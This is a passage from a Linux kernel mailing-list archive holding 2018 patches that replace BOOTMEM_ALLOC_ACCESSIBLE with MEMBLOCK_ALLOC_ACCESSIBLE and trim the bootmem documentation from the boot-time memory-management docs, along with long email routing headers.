-					     BOOTMEM_ALLOC_ACCESSIBLE, node);
+					     MEMBLOCK_ALLOC_ACCESSIBLE, node);
 		pr_debug("per cpu data for cpu%d %lu bytes on node%d at "
 			 "%016lx\n", cpu, size, node, __pa(ptr));
 	}
diff --git a/arch/x86/kernel/setup_percpu.c b/arch/x86/kernel/setup_percpu.c
index a006f1b..483412f 100644
--- a/arch/x86/kernel/setup_percpu.c
+++ b/arch/x86/kernel/setup_percpu.c
@@ -114,7 +114,7 @@ static void * __init pcpu_alloc_bootmem(unsigned int cpu, unsigned long size,
 			 cpu, size, __pa(ptr));
 	} else {
 		ptr = memblock_alloc_try_nid_nopanic(size, align, goal,
-						     BOOTMEM_ALLOC_ACCESSIBLE,
+						     MEMBLOCK_ALLOC_ACCESSIBLE,
 						     node);
 
 		pr_debug("per cpu data for cpu%d %lu bytes on node%d at %016lx\n",
diff --git a/arch/x86/mm/kasan_init_64.c b/arch/x86/mm/kasan_init_64.c
index 77b857c..8f87499 100644
--- a/arch/x86/mm/kasan_init_64.c
+++ b/arch/x86/mm/kasan_init_64.c
@@ -29,10 +29,10 @@ static __init void *early_alloc(size_t size, int nid, bool panic)
 {
 	if (panic)
 		return memblock_alloc_try_nid(size, size,
-			__pa(MAX_DMA_ADDRESS), BOOTMEM_ALLOC_ACCESSIBLE, nid);
+			__pa(MAX_DMA_ADDRESS), MEMBLOCK_ALLOC_ACCESSIBLE, nid);
 	else
 		return memblock_alloc_try_nid_nopanic(size, size,
-			__pa(MAX_DMA_ADDRESS), BOOTMEM_ALLOC_ACCESSIBLE, nid);
+			__pa(MAX_DMA_ADDRESS), MEMBLOCK_ALLOC_ACCESSIBLE, nid);
 }
 
 static void __init kasan_populate_pmd(pmd_t *pmd, unsigned long addr,
diff --git a/mm/hugetlb.c b/mm/hugetlb.c
index 3b63370..67629dc 100644
--- a/mm/hugetlb.c
+++ b/mm/hugetlb.c
@@ -16,6 +16,7 @@
 #include <linux/cpuset.h>
 #include <linux/mutex.h>
 #include <linux/bootmem.h>
+#include <linux/memblock.h>
 #include <linux/sysfs.h>
 #include <linux/slab.h>
 #include <linux/mmdebug.h>
@@ -2102,7 +2103,7 @@ int __alloc_bootmem_huge_page(struct hstate *h)
 
 		addr = memblock_alloc_try_nid_raw(
 				huge_page_size(h), huge_page_size(h),
-				0, BOOTMEM_ALLOC_ACCESSIBLE, node);
+				0, MEMBLOCK_ALLOC_ACCESSIBLE, node);
 		if (addr) {
 			/*
 			 * Use the beginning of the huge page to store the
diff --git a/mm/kasan/kasan_init.c b/mm/kasan/kasan_init.c
index 24d734b..785a970 100644
--- a/mm/kasan/kasan_init.c
+++ b/mm/kasan/kasan_init.c
@@ -84,7 +84,7 @@ static inline bool kasan_zero_page_entry(pte_t pte)
 static __init void *early_alloc(size_t size, int node)
 {
 	return memblock_alloc_try_nid(size, size, __pa(MAX_DMA_ADDRESS),
-					BOOTMEM_ALLOC_ACCESSIBLE, node);
+					MEMBLOCK_ALLOC_ACCESSIBLE, node);
 }
 
 static void __ref zero_pte_populate(pmd_t *pmd, unsigned long addr,
diff --git a/mm/memblock.c b/mm/memblock.c
index 4591f38..86a4b80 100644
--- a/mm/memblock.c
+++ b/mm/memblock.c
@@ -1393,7 +1393,7 @@ phys_addr_t __init memblock_phys_alloc_try_nid(phys_addr_t size, phys_addr_t ali
  * hold the requested memory.
  *
  * The allocation is performed from memory region limited by
- * memblock.current_limit if @max_addr == %BOOTMEM_ALLOC_ACCESSIBLE.
+ * memblock.current_limit if @max_addr == %MEMBLOCK_ALLOC_ACCESSIBLE.
  *
  * The memory block is aligned on %SMP_CACHE_BYTES if @align == 0.
  *
@@ -1480,7 +1480,7 @@ static void * __init memblock_alloc_internal(
  * @min_addr: the lower bound of the memory region from where the allocation
  *	  is preferred (phys address)
  * @max_addr: the upper bound of the memory region from where the allocation
- *	      is preferred (phys address), or %BOOTMEM_ALLOC_ACCESSIBLE to
+ *	      is preferred (phys address), or %MEMBLOCK_ALLOC_ACCESSIBLE to
  *	      allocate only from memory limited by memblock.current_limit value
  * @nid: nid of the free area to find, %NUMA_NO_NODE for any node
  *
@@ -1518,7 +1518,7 @@ void * __init memblock_alloc_try_nid_raw(
  * @min_addr: the lower bound of the memory region from where the allocation
  *	  is preferred (phys address)
  * @max_addr: the upper bound of the memory region from where the allocation
- *	      is preferred (phys address), or %BOOTMEM_ALLOC_ACCESSIBLE to
+ *	      is preferred (phys address), or %MEMBLOCK_ALLOC_ACCESSIBLE to
  *	      allocate only from memory limited by memblock.current_limit value
  * @nid: nid of the free area to find, %NUMA_NO_NODE for any node
  *
@@ -1553,7 +1553,7 @@ void * __init memblock_alloc_try_nid_nopanic(
  * @min_addr: the lower bound of the memory region from where the allocation
  *	  is preferred (phys address)
  * @max_addr: the upper bound of the memory region from where the allocation
- *	      is preferred (phys address), or %BOOTMEM_ALLOC_ACCESSIBLE to
+ *	      is preferred (phys address), or %MEMBLOCK_ALLOC_ACCESSIBLE to
  *	      allocate only from memory limited by memblock.current_limit value
  * @nid: nid of the free area to find, %NUMA_NO_NODE for any node
  *
diff --git a/mm/page_ext.c b/mm/page_ext.c
index e77c0f0..5323c2a 100644
--- a/mm/page_ext.c
+++ b/mm/page_ext.c
@@ -163,7 +163,7 @@ static int __init alloc_node_page_ext(int nid)
 
 	base = memblock_alloc_try_nid_nopanic(
 			table_size, PAGE_SIZE, __pa(MAX_DMA_ADDRESS),
-			BOOTMEM_ALLOC_ACCESSIBLE, nid);
+			MEMBLOCK_ALLOC_ACCESSIBLE, nid);
 	if (!base)
 		return -ENOMEM;
 	NODE_DATA(nid)->node_page_ext = base;
diff --git a/mm/sparse-vmemmap.c b/mm/sparse-vmemmap.c
index 91c2c3d..7408cab 100644
--- a/mm/sparse-vmemmap.c
+++ b/mm/sparse-vmemmap.c
@@ -21,6 +21,7 @@
 #include <linux/mm.h>
 #include <linux/mmzone.h>
 #include <linux/bootmem.h>
+#include <linux/memblock.h>
 #include <linux/memremap.h>
 #include <linux/highmem.h>
 #include <linux/slab.h>
@@ -43,7 +44,7 @@ static void * __ref __earlyonly_bootmem_alloc(int node,
 				unsigned long goal)
 {
 	return memblock_alloc_try_nid_raw(size, align, goal,
-					       BOOTMEM_ALLOC_ACCESSIBLE, node);
+					       MEMBLOCK_ALLOC_ACCESSIBLE, node);
 }
 
 void * __meminit vmemmap_alloc_block(unsigned long size, int node)
diff --git a/mm/sparse.c b/mm/sparse.c
index 509828f..0dcc306 100644
--- a/mm/sparse.c
+++ b/mm/sparse.c
@@ -6,6 +6,7 @@
 #include <linux/slab.h>
 #include <linux/mmzone.h>
 #include <linux/bootmem.h>
+#include <linux/memblock.h>
 #include <linux/compiler.h>
 #include <linux/highmem.h>
 #include <linux/export.h>
@@ -393,7 +394,7 @@ struct page __init *sparse_mem_map_populate(unsigned long pnum, int nid,
 
 	map = memblock_alloc_try_nid(size,
 					  PAGE_SIZE, __pa(MAX_DMA_ADDRESS),
-					  BOOTMEM_ALLOC_ACCESSIBLE, nid);
+					  MEMBLOCK_ALLOC_ACCESSIBLE, nid);
 	return map;
 }
 #endif /* !CONFIG_SPARSEMEM_VMEMMAP */
@@ -407,7 +408,7 @@ static void __init sparse_buffer_init(unsigned long size, int nid)
 	sparsemap_buf =
 		memblock_alloc_try_nid_raw(size, PAGE_SIZE,
 						__pa(MAX_DMA_ADDRESS),
-						BOOTMEM_ALLOC_ACCESSIBLE, nid);
+						MEMBLOCK_ALLOC_ACCESSIBLE, nid);
 	sparsemap_buf_end = sparsemap_buf + size;
 }
 
-- 
2.7.4

From - Thu Nov 08 21:41:57 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!.POSTED!not-for-mail
From: Mike Rapoport <rppt@linux.vnet.ibm.com>
Newsgroups: gmane.linux.ports.riscv,gmane.linux.kernel.mm,gmane.linux.ports.mips.general,gmane.linux.ports.ia64,gmane.linux.ports.sh.devel,gmane.linux.ports.sparc,gmane.linux.ports.hexagon,gmane.linux.kernel.arc,gmane.linux.ports.alpha,gmane.linux.ports.arm.kernel,gmane.linux.ports.parisc,gmane.linux.kernel,gmane.linux.ports.ppc64.devel
Subject: [PATCH 30/30] docs/boot-time-mm: remove bootmem documentation
Date: Fri, 14 Sep 2018 15:10:45 +0300
Lines: 108
Approved: news@gmane.org
Message-ID: <1536927045-23536-31-git-send-email-rppt@linux.vnet.ibm.com>
References: <1536927045-23536-1-git-send-email-rppt@linux.vnet.ibm.com>
NNTP-Posting-Host: blaine.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset="us-ascii"
Content-Transfer-Encoding: 7bit
X-Trace: blaine.gmane.org 1536927178 5658 195.159.176.226 (14 Sep 2018 12:12:58 GMT)
X-Complaints-To: usenet@blaine.gmane.org
NNTP-Posting-Date: Fri, 14 Sep 2018 12:12:58 +0000 (UTC)
Cc: linux-mips@linux-mips.org, Michal Hocko <mhocko@suse.com>,
 linux-ia64@vger.kernel.org, linux-sh@vger.kernel.org,
 Catalin Marinas <catalin.marinas@arm.com>, Palmer Dabbelt <palmer@sifive.com>,
 Russell King <linux@armlinux.org.uk>, Rich Felker <dalias@libc.org>,
 sparclinux@vger.kernel.org, linux-hexagon@vger.kernel.org,
 linux-riscv@lists.infradead.org, Jonas Bonn <jonas@southpole.se>,
 linux-s390@vger.kernel.org, linux-c6x-dev@linux-c6x.org,
 Yoshinori Sato <ysato@users.sourceforge.jp>, Jonathan Corbet <corbet@lwn.net>,
 Michael Ellerman <mpe@ellerman.id.au>,
 "James E.J. Bottomley" <jejb@parisc-linux.org>, Ingo Molnar <mingo@redhat.com>,
 Geert Uytterhoeven <geert@linux-m68k.org>, Mark Salter <msalter@redhat.com>,
 Matt Turner <mattst88@gmail.com>, linux-snps-arc@lists.infradead.org,
 uclinux-h8-devel@lists.sourceforge.jp, Mike Rapoport <rppt@linux.vnet.ibm.com>,
 linux-alpha@vge
To: linux-mm@kvack.org
Original-X-From: linux-riscv-bounces+glpr-linux-riscv=m.gmane.org@lists.infradead.org Fri Sep 14 14:12:50 2018
Return-path: <linux-riscv-bounces+glpr-linux-riscv=m.gmane.org@lists.infradead.org>
Envelope-to: glpr-linux-riscv@m.gmane.org
Original-Received: from bombadil.infradead.org ([198.137.202.133])
	by blaine.gmane.org with esmtp (Exim 4.84_2)
	(envelope-from <linux-riscv-bounces+glpr-linux-riscv=m.gmane.org@lists.infradead.org>)
	id 1g0mxt-0001I9-OZ
	for glpr-linux-riscv@m.gmane.org; Fri, 14 Sep 2018 14:12:49 +0200
DKIM-Signature: v=1; a=rsa-sha256; q=dns/txt; c=relaxed/relaxed;
	d=lists.infradead.org; s=bombadil.20170209; h=Sender:
	Content-Transfer-Encoding:Content-Type:MIME-Version:Cc:List-Subscribe:
	List-Help:List-Post:List-Archive:List-Unsubscribe:List-Id:Message-Id:
	References:In-Reply-To:Date:Subject:To:From:Reply-To:Content-ID:
	Content-Description:Resent-Date:Resent-From:Resent-Sender:Resent-To:Resent-Cc
	:Resent-Message-ID:List-Owner;
	bh=s35cjrC14iiY2fuXvdHieFKEYOHC3IdxCa//oXBBmUo=; b=Qapn4/pc6DHGzJi+qIOz4Al33K
	bQjqHWOmfATINCexeoHSwiUInzN1MxD4tpKIoO7V+oLn2kJGs+pcbpigM6icMIdW4Mvnb5hZ9PLWR
	sFhs5W9T8DA2MY9j6UQT2Y1ZueYYw/Fbc5iqOm+GLnUSmdfhLihJcrksq6Pfj2PR+vL5vuHEbSzDS
	HNMQbL1rEL7BFQMkWTy2plYz67aWtqQkOHxAx/lG+y0NHMJkz5pIDRqlC6eLnt4UmJagThd6XPl7F
	GcwOzQWYKYhkdpJ6yUyTZQEr9Pgxdq7S3nZNBNmsqSvGjuoWmeavx4a3eHw/wRadW9fLC5j0q3a+B
	cOLvxt6Q==;
Original-Received: from localhost ([127.0.0.1] helo=bombadil.infradead.org)
	by bombadil.infradead.org with esmtp (Exim 4.90_1 #2 (Red Hat Linux))
	id 1g0mzx-0005UV-WF; Fri, 14 Sep 2018 12:14:58 +0000
Original-Received: from mx0a-001b2d01.pphosted.com ([148.163.156.1])
 by bombadil.infradead.org with esmtps (Exim 4.90_1 #2 (Red Hat Linux))
 id 1g0mzK-00053n-WE
 for linux-riscv@lists.infradead.org; Fri, 14 Sep 2018 12:14:55 +0000
Original-Received: from pps.filterd (m0098409.ppops.net [127.0.0.1])
 by mx0a-001b2d01.pphosted.com (8.16.0.22/8.16.0.22) with SMTP id
 w8EC5JNk129509
 for <linux-riscv@lists.infradead.org>; Fri, 14 Sep 2018 08:14:10 -0400
Original-Received: from e06smtp02.uk.ibm.com (e06smtp02.uk.ibm.com [195.75.94.98])
 by mx0a-001b2d01.pphosted.com with ESMTP id 2mgb6um4rf-1
 (version=TLSv1.2 cipher=AES256-GCM-SHA384 bits=256 verify=NOT)
 for <linux-riscv@lists.infradead.org>; Fri, 14 Sep 2018 08:14:10 -0400
Original-Received: from localhost
 by e06smtp02.uk.ibm.com with IBM ESMTP SMTP Gateway: Authorized Use Only!
 Violators will be prosecuted
 for <linux-riscv@lists.infradead.org> from <rppt@linux.vnet.ibm.com>;
 Fri, 14 Sep 2018 13:14:07 +0100
Original-Received: from b06cxnps4076.portsmouth.uk.ibm.com (9.149.109.198)
 by e06smtp02.uk.ibm.com (192.168.101.132) with IBM ESMTP SMTP Gateway:
 Authorized Use Only! Violators will be prosecuted; 
 (version=TLSv1/SSLv3 cipher=AES256-GCM-SHA384 bits=256/256)
 Fri, 14 Sep 2018 13:13:56 +0100
Original-Received: from d06av21.portsmouth.uk.ibm.com (d06av21.portsmouth.uk.ibm.com
 [9.149.105.232])
 by b06cxnps4076.portsmouth.uk.ibm.com (8.14.9/8.14.9/NCO v10.0) with ESMTP id
 w8ECDtNn58785798
 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-GCM-SHA384 bits=256 verify=FAIL);
 Fri, 14 Sep 2018 12:13:55 GMT
Original-Received: from d06av21.portsmouth.uk.ibm.com (unknown [127.0.0.1])
 by IMSVA (Postfix) with ESMTP id C20D852050;
 Fri, 14 Sep 2018 15:13:42 +0100 (BST)
Original-Received: from rapoport-lnx (unknown [9.148.207.116])
 by d06av21.portsmouth.uk.ibm.com (Postfix) with ESMTPS id A432752052;
 Fri, 14 Sep 2018 15:13:37 +0100 (BST)
Original-Received: by rapoport-lnx (sSMTP sendmail emulation);
 Fri, 14 Sep 2018 15:13:49 +0300
X-Mailer: git-send-email 2.7.4
In-Reply-To: <1536927045-23536-1-git-send-email-rppt@linux.vnet.ibm.com>
X-TM-AS-GCONF: 00
x-cbid: 18091412-0008-0000-0000-000002715AA3
X-IBM-AV-DETECTION: SAVI=unused REMOTE=unused XFE=unused
x-cbparentid: 18091412-0009-0000-0000-000021D9A084
X-Proofpoint-Virus-Version: vendor=fsecure engine=2.50.10434:, ,
 definitions=2018-09-14_06:, , signatures=0
X-Proofpoint-Spam-Details: rule=outbound_notspam policy=outbound score=0
 priorityscore=1501
 malwarescore=0 suspectscore=1 phishscore=0 bulkscore=0 spamscore=0
 clxscore=1015 lowpriorityscore=0 mlxscore=0 impostorscore=0
 mlxlogscore=999 adultscore=0 classifier=spam adjust=0 reason=mlx
 scancount=1 engine=8.0.1-1807170000 definitions=main-1809140129
X-CRM114-Version: 20100106-BlameMichelson ( TRE 0.8.0 (BSD) ) MR-646709E3 
X-CRM114-CacheID: sfid-20180914_051419_367959_6FBFF606 
X-CRM114-Status: GOOD (  25.01  )
X-Spam-Score: -0.7 (/)
X-Spam-Report: SpamAssassin version 3.4.1 on bombadil.infradead.org summary:
 Content analysis details:   (-0.7 points)
 pts rule name              description
 ---- ---------------------- --------------------------------------------------
 -0.7 RCVD_IN_DNSWL_LOW      RBL: Sender listed at http://www.dnswl.org/, low
 trust [148.163.156.1 listed in list.dnswl.org]
 0.0 KHOP_DYNAMIC           Relay looks like a dynamic address
X-BeenThere: linux-riscv@lists.infradead.org
X-Mailman-Version: 2.1.21
Precedence: list
List-Id: <linux-riscv.lists.infradead.org>
List-Unsubscribe: <http://lists.infradead.org/mailman/options/linux-riscv>,
 <mailto:linux-riscv-request@lists.infradead.org?subject=unsubscribe>
List-Archive: <http://lists.infradead.org/pipermail/linux-riscv/>
List-Post: <mailto:linux-riscv@lists.infradead.org>
List-Help: <mailto:linux-riscv-request@lists.infradead.org?subject=help>
List-Subscribe: <http://lists.infradead.org/mailman/listinfo/linux-riscv>,
 <mailto:linux-riscv-request@lists.infradead.org?subject=subscribe>
Original-Sender: "linux-riscv" <linux-riscv-bounces@lists.infradead.org>
Errors-To: linux-riscv-bounces+glpr-linux-riscv=m.gmane.org@lists.infradead.org
Xref: news.gmane.org gmane.linux.ports.riscv:802 gmane.linux.kernel.mm:203338 gmane.linux.ports.mips.general:66640 gmane.linux.ports.ia64:29235 gmane.linux.ports.sh.devel:57511 gmane.linux.ports.sparc:28423 gmane.linux.ports.hexagon:1852 gmane.linux.kernel.arc:4365 gmane.linux.ports.alpha:5241 gmane.linux.ports.arm.kernel:674210 gmane.linux.ports.parisc:28963 gmane.linux.kernel:2870783 gmane.linux.ports.ppc64.devel:162498
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.riscv/802>

Signed-off-by: Mike Rapoport <rppt@linux.vnet.ibm.com>
---
 Documentation/core-api/boot-time-mm.rst | 71 +++++----------------------------
 1 file changed, 10 insertions(+), 61 deletions(-)

diff --git a/Documentation/core-api/boot-time-mm.rst b/Documentation/core-api/boot-time-mm.rst
index 03cb164..e5ec9f1 100644
--- a/Documentation/core-api/boot-time-mm.rst
+++ b/Documentation/core-api/boot-time-mm.rst
@@ -5,54 +5,23 @@ Boot time memory management
 Early system initialization cannot use "normal" memory management
 simply because it is not set up yet. But there is still need to
 allocate memory for various data structures, for instance for the
-physical page allocator. To address this, a specialized allocator
-called the :ref:`Boot Memory Allocator <bootmem>`, or bootmem, was
-introduced. Several years later PowerPC developers added a "Logical
-Memory Blocks" allocator, which was later adopted by other
-architectures and renamed to :ref:`memblock <memblock>`. There is also
-a compatibility layer called `nobootmem` that translates bootmem
-allocation interfaces to memblock calls.
+physical page allocator.
 
-The selection of the early allocator is done using
-``CONFIG_NO_BOOTMEM`` and ``CONFIG_HAVE_MEMBLOCK`` kernel
-configuration options. These options are enabled or disabled
-statically by the architectures' Kconfig files.
-
-* Architectures that rely only on bootmem select
-  ``CONFIG_NO_BOOTMEM=n && CONFIG_HAVE_MEMBLOCK=n``.
-* The users of memblock with the nobootmem compatibility layer set
-  ``CONFIG_NO_BOOTMEM=y && CONFIG_HAVE_MEMBLOCK=y``.
-* And for those that use both memblock and bootmem the configuration
-  includes ``CONFIG_NO_BOOTMEM=n && CONFIG_HAVE_MEMBLOCK=y``.
-
-Whichever allocator is used, it is the responsibility of the
-architecture specific initialization to set it up in
-:c:func:`setup_arch` and tear it down in :c:func:`mem_init` functions.
+A specialized allocator called ``memblock`` performs the
+boot time memory management. The architecture specific initialization
+must set it up in :c:func:`setup_arch` and tear it down in
+:c:func:`mem_init` functions.
 
 Once the early memory management is available it offers a variety of
 functions and macros for memory allocations. The allocation request
 may be directed to the first (and probably the only) node or to a
 particular node in a NUMA system. There are API variants that panic
-when an allocation fails and those that don't. And more recent and
-advanced memblock even allows controlling its own behaviour.
-
-.. _bootmem:
-
-Bootmem
-=======
-
-(mostly stolen from Mel Gorman's "Understanding the Linux Virtual
-Memory Manager" `book`_)
-
-.. _book: https://www.kernel.org/doc/gorman/
-
-.. kernel-doc:: mm/bootmem.c
-   :doc: bootmem overview
+when an allocation fails and those that don't.
 
-.. _memblock:
+Memblock also offers a variety of APIs that control its own behaviour.
 
-Memblock
-========
+Memblock Overview
+=================
 
 .. kernel-doc:: mm/memblock.c
    :doc: memblock overview
@@ -61,26 +30,6 @@ Memblock
 Functions and structures
 ========================
 
-Common API
-----------
-
-The functions that are described in this section are available
-regardless of what early memory manager is enabled.
-
-.. kernel-doc:: mm/nobootmem.c
-
-Bootmem specific API
---------------------
-
-These interfaces available only with bootmem, i.e when ``CONFIG_NO_BOOTMEM=n``
-
-.. kernel-doc:: include/linux/bootmem.h
-.. kernel-doc:: mm/bootmem.c
-   :nodocs:
-
-Memblock specific API
----------------------
-
 Here is the description of memblock data structures, functions and
 macros. Some of them are actually internal, but since they are
 documented it would be silly to omit them. Besides, reading the
@@ -89,4 +38,4 @@ really happens under the hood.
 
 .. kernel-doc:: include/linux/memblock.h
 .. kernel-doc:: mm/memblock.c
-   :nodocs:
+   :functions:
-- 
2.7.4

From - Thu Nov 08 21:41:57 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!.POSTED!not-for-mail
From: Mike Rapoport <rppt@linux.vnet.ibm.com>
Newsgroups: gmane.linux.kernel.arc,gmane.linux.kernel.mm,gmane.linux.ports.mips.general,gmane.linux.ports.ia64,gmane.linux.ports.sh.devel,gmane.linux.ports.sparc,gmane.linux.ports.hexagon,gmane.linux.ports.riscv,gmane.linux.ports.alpha,gmane.linux.ports.arm.kernel,gmane.linux.ports.parisc,gmane.linux.kernel,gmane.linux.ports.ppc64.devel
Subject: [PATCH 29/30] mm: remove include/linux/bootmem.h
Date: Fri, 14 Sep 2018 15:10:44 +0300
Lines: 4235
Approved: news@gmane.org
Message-ID: <1536927045-23536-30-git-send-email-rppt@linux.vnet.ibm.com>
References: <1536927045-23536-1-git-send-email-rppt@linux.vnet.ibm.com>
NNTP-Posting-Host: blaine.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset="us-ascii"
Content-Transfer-Encoding: 7bit
X-Trace: blaine.gmane.org 1536927216 9047 195.159.176.226 (14 Sep 2018 12:13:36 GMT)
X-Complaints-To: usenet@blaine.gmane.org
NNTP-Posting-Date: Fri, 14 Sep 2018 12:13:36 +0000 (UTC)
Cc: linux-mips@linux-mips.org, Michal Hocko <mhocko@suse.com>,
 linux-ia64@vger.kernel.org, linux-sh@vger.kernel.org,
 Catalin Marinas <catalin.marinas@arm.com>, Palmer Dabbelt <palmer@sifive.com>,
 Russell King <linux@armlinux.org.uk>, Rich Felker <dalias@libc.org>,
 sparclinux@vger.kernel.org, linux-hexagon@vger.kernel.org,
 linux-riscv@lists.infradead.org, Jonas Bonn <jonas@southpole.se>,
 linux-s390@vger.kernel.org, linux-c6x-dev@linux-c6x.org,
 Yoshinori Sato <ysato@users.sourceforge.jp>, Jonathan Corbet <corbet@lwn.net>,
 Michael Ellerman <mpe@ellerman.id.au>,
 "James E.J. Bottomley" <jejb@parisc-linux.org>, Ingo Molnar <mingo@redhat.com>,
 Geert Uytterhoeven <geert@linux-m68k.org>, Mark Salter <msalter@redhat.com>,
 Matt Turner <mattst88@gmail.com>, linux-snps-arc@lists.infradead.org,
 uclinux-h8-devel@lists.sourceforge.jp, Mike Rapoport <rppt@linux.vnet.ibm.com>,
 linux-alpha@vge
To: linux-mm@kvack.org
Original-X-From: linux-snps-arc-bounces+gla-linux-snps-arc=m.gmane.org@lists.infradead.org Fri Sep 14 14:13:27 2018
Return-path: <linux-snps-arc-bounces+gla-linux-snps-arc=m.gmane.org@lists.infradead.org>
Envelope-to: gla-linux-snps-arc@m.gmane.org
Original-Received: from bombadil.infradead.org ([198.137.202.133])
	by blaine.gmane.org with esmtp (Exim 4.84_2)
	(envelope-from <linux-snps-arc-bounces+gla-linux-snps-arc=m.gmane.org@lists.infradead.org>)
	id 1g0myU-00025s-6l
	for gla-linux-snps-arc@m.gmane.org; Fri, 14 Sep 2018 14:13:27 +0200
DKIM-Signature: v=1; a=rsa-sha256; q=dns/txt; c=relaxed/relaxed;
	d=lists.infradead.org; s=bombadil.20170209; h=Sender:
	Content-Transfer-Encoding:Content-Type:MIME-Version:Cc:List-Subscribe:
	List-Help:List-Post:List-Archive:List-Unsubscribe:List-Id:Message-Id:
	References:In-Reply-To:Date:Subject:To:From:Reply-To:Content-ID:
	Content-Description:Resent-Date:Resent-From:Resent-Sender:Resent-To:Resent-Cc
	:Resent-Message-ID:List-Owner;
	bh=1pgYHX9w1qvXzBlPrn/B0/jyOk0WRhwKumS+eGYdY4c=; b=eEGVZCRAf8QfbQ/yjxuGBtq/Sx
	/HykgBaIOH8X1+oe1mq2sRDxB2aBQRkbVJdA2zVa12nOnfdmRJRRaLwC7n5RNddkLcukOuMpdQ4U6
	u9ulxX1H4fGaeNGb6ugGQM5WftCExBcvIRI4Y14Gm8mQ++rJ0lSNGaqkSFrKOlY38g9x5gwc0iyT8
	D/gy0hubFckbQcL2jKErDaZq9/WfvyUUd0sFKUeJAXTtwm44d1/DOLLznUeFZZ39xEpY48XdlX8cL
	TDCwVpKXQEouCav0R0m6VKtq6+Xu6AfwomevDR8dqQq9qzincKT4Y5NXTnQn2lsF53CkTUbwoVsn3
	tX7gWSMQ==;
Original-Received: from localhost ([127.0.0.1] helo=bombadil.infradead.org)
	by bombadil.infradead.org with esmtp (Exim 4.90_1 #2 (Red Hat Linux))
	id 1g0n0a-0006uj-1R; Fri, 14 Sep 2018 12:15:36 +0000
Original-Received: from mx0b-001b2d01.pphosted.com ([148.163.158.5]
 helo=mx0a-001b2d01.pphosted.com)
 by bombadil.infradead.org with esmtps (Exim 4.90_1 #2 (Red Hat Linux))
 id 1g0mzL-000533-82
 for linux-snps-arc@lists.infradead.org; Fri, 14 Sep 2018 12:15:34 +0000
Original-Received: from pps.filterd (m0098413.ppops.net [127.0.0.1])
 by mx0b-001b2d01.pphosted.com (8.16.0.22/8.16.0.22) with SMTP id
 w8EC54Jj080076
 for <linux-snps-arc@lists.infradead.org>; Fri, 14 Sep 2018 08:14:08 -0400
Original-Received: from e06smtp01.uk.ibm.com (e06smtp01.uk.ibm.com [195.75.94.97])
 by mx0b-001b2d01.pphosted.com with ESMTP id 2mgb0c4x7s-1
 (version=TLSv1.2 cipher=AES256-GCM-SHA384 bits=256 verify=NOT)
 for <linux-snps-arc@lists.infradead.org>; Fri, 14 Sep 2018 08:14:06 -0400
Original-Received: from localhost
 by e06smtp01.uk.ibm.com with IBM ESMTP SMTP Gateway: Authorized Use Only!
 Violators will be prosecuted
 for <linux-snps-arc@lists.infradead.org> from <rppt@linux.vnet.ibm.com>;
 Fri, 14 Sep 2018 13:14:02 +0100
Original-Received: from b06cxnps3074.portsmouth.uk.ibm.com (9.149.109.194)
 by e06smtp01.uk.ibm.com (192.168.101.131) with IBM ESMTP SMTP Gateway:
 Authorized Use Only! Violators will be prosecuted; 
 (version=TLSv1/SSLv3 cipher=AES256-GCM-SHA384 bits=256/256)
 Fri, 14 Sep 2018 13:13:50 +0100
Original-Received: from d06av26.portsmouth.uk.ibm.com (d06av26.portsmouth.uk.ibm.com
 [9.149.105.62])
 by b06cxnps3074.portsmouth.uk.ibm.com (8.14.9/8.14.9/NCO v10.0) with ESMTP id
 w8ECDnPP64094210
 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-GCM-SHA384 bits=256 verify=FAIL);
 Fri, 14 Sep 2018 12:13:49 GMT
Original-Received: from d06av26.portsmouth.uk.ibm.com (unknown [127.0.0.1])
 by IMSVA (Postfix) with ESMTP id D0789AE04D;
 Fri, 14 Sep 2018 15:13:01 +0100 (BST)
Original-Received: from d06av26.portsmouth.uk.ibm.com (unknown [127.0.0.1])
 by IMSVA (Postfix) with ESMTP id 3BA34AE053;
 Fri, 14 Sep 2018 15:12:56 +0100 (BST)
Original-Received: from rapoport-lnx (unknown [9.148.207.116])
 by d06av26.portsmouth.uk.ibm.com (Postfix) with ESMTPS;
 Fri, 14 Sep 2018 15:12:56 +0100 (BST)
Original-Received: by rapoport-lnx (sSMTP sendmail emulation);
 Fri, 14 Sep 2018 15:13:42 +0300
X-Mailer: git-send-email 2.7.4
In-Reply-To: <1536927045-23536-1-git-send-email-rppt@linux.vnet.ibm.com>
X-TM-AS-GCONF: 00
x-cbid: 18091412-4275-0000-0000-000002BA5A10
X-IBM-AV-DETECTION: SAVI=unused REMOTE=unused XFE=unused
x-cbparentid: 18091412-4276-0000-0000-000037C3978B
X-Proofpoint-Virus-Version: vendor=fsecure engine=2.50.10434:, ,
 definitions=2018-09-14_06:, , signatures=0
X-Proofpoint-Spam-Details: rule=outbound_notspam policy=outbound score=0
 priorityscore=1501
 malwarescore=0 suspectscore=3 phishscore=0 bulkscore=0 spamscore=0
 clxscore=1015 lowpriorityscore=0 mlxscore=0 impostorscore=0
 mlxlogscore=999 adultscore=0 classifier=spam adjust=0 reason=mlx
 scancount=1 engine=8.0.1-1807170000 definitions=main-1809140129
X-Spam-Note: CRM114 run bypassed due to message size (135459 bytes)
X-Spam-Score: -0.7 (/)
X-Spam-Report: SpamAssassin version 3.4.1 on bombadil.infradead.org summary:
 Content analysis details:   (-0.7 points)
 pts rule name              description
 ---- ---------------------- --------------------------------------------------
 -0.7 RCVD_IN_DNSWL_LOW      RBL: Sender listed at http://www.dnswl.org/, low
 trust [148.163.158.5 listed in list.dnswl.org]
 0.0 KHOP_DYNAMIC           Relay looks like a dynamic address
X-BeenThere: linux-snps-arc@lists.infradead.org
X-Mailman-Version: 2.1.21
Precedence: list
List-Id: Linux on Synopsys ARC Processors <linux-snps-arc.lists.infradead.org>
List-Unsubscribe: <http://lists.infradead.org/mailman/options/linux-snps-arc>, 
 <mailto:linux-snps-arc-request@lists.infradead.org?subject=unsubscribe>
List-Archive: <http://lists.infradead.org/pipermail/linux-snps-arc/>
List-Post: <mailto:linux-snps-arc@lists.infradead.org>
List-Help: <mailto:linux-snps-arc-request@lists.infradead.org?subject=help>
List-Subscribe: <http://lists.infradead.org/mailman/listinfo/linux-snps-arc>, 
